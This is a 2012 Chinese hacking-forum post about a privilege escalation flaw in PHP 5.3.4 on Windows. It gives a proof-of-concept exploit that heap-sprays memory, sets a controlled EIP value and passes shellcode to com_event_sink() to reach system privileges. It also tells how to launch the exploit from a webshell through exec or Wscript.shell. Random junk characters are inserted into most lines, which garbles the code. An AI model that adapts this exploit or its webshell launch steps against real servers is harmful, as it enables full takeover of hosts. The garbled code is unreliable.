找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2164|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中* e$ Q  B2 d& z/ G$ \+ L
7 ?# T. Z& }# m' R% h$ u9 U
测试方法如下:cmd /c x:\php\php.exe x:\test.php
5 A2 }" X+ O0 Y, i9 ?% x  K8 g/ Z1 c+ L3 x2 w
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
+ K& y( m+ w$ \这里是两个测试的截图:# M, t+ u  \' ~2 `4 N

) e3 V- W/ E# F3 L$ j) I5 r2 ?0 v8 z3 G2 |( R% E
4 W; h( [" u1 p5 b! L$ w. ?* ^$ C6 Y

2 d* G& B" B/ S1 p2 \) ^: y# B& J  v4 w5 G- n
成功利用此漏洞的攻击者将获得系统的最高权限- U/ H! X$ C" Z

; y% n* K3 w" a3 C4 y9 O1 J
9 `6 N3 a2 e& w! O7 T* Q
$ O  ^) k0 e) ]
# h1 O; \( v' u$ b! q+ ?4 u$ A2 K4 U( d$ k: F0 _
关于漏洞分析稍后附上。一下是PoC代码:
! d' v* _6 J) ~* \, s
  ^' ]0 S2 C, ]# W, C$ w( [# Z<?php
( P) `4 c, j) d' Y6 d- P' K//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞1 B0 i9 a1 d$ R; U4 W" g
//$eip ="\x44\x43\x42\x41";2 S2 d7 I* e  I7 J# X
$eip= "\x4b\xe8\x57\x78";" d8 q  y' X) W9 E* P! O, u
$eax ="\x80\x01\x8d\x04";
0 U3 k; P! J" J4 `6 N+ Y$deodrant="";
8 r- Q$ }7 ]4 N- P: \$ u; v$axespray = str_repeat($eip.$eax,0x80);; z/ ?, O9 p$ i- q3 ^; w( ^! \
//048d01904 Y' F8 @2 t* x
echo strlen($axespray);
/ V/ g% f+ N. v% |echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";: E# F, R8 s1 Q( Z5 k
echo "Silic Group Hacker Army - BlackBap.Org";4 h2 W. s; s4 B3 V+ M0 v& E  l; f
//19200 ==4B32 4b00! n) q! K  l  R+ t) o
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}( c2 n: f2 j% ^$ R; H7 m9 U  g
$terminate = "T";
- [3 X8 P- g# F% J1 w" @$u[] =$deodrant;
: c1 Y1 [8 h9 C, F" H0 F( S, z# y* s. F$r[] =$deodrant.$terminate;
) h/ C9 Q7 M/ z& M, }$a[] =$deodrant.$terminate;
2 h  P% f$ N+ _* Z( ~$s[] =$deodrant.$terminate;* T- r: @; m  y* h! O
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
2 f- i+ }" ?# Y( r2 K7 w. w$vVar = new VARIANT(0x048d0000+180);
* a  X; H! Y7 ^$ d* Q6 J//弹窗代码(Shellcode)) a: E' }/ n; P! |! e7 r9 @9 t
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";+ y  U( }/ e( t6 p* D3 T
$var2 = new VARIANT(0x41414242);9 C8 }0 ~, n: o7 |: _
com_event_sink($vVar,$var2,$buffer);! O" Z3 `# k3 C) _; c
?>
' j1 p$ I0 ]7 R& ?% T0 \5 @. D- j

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表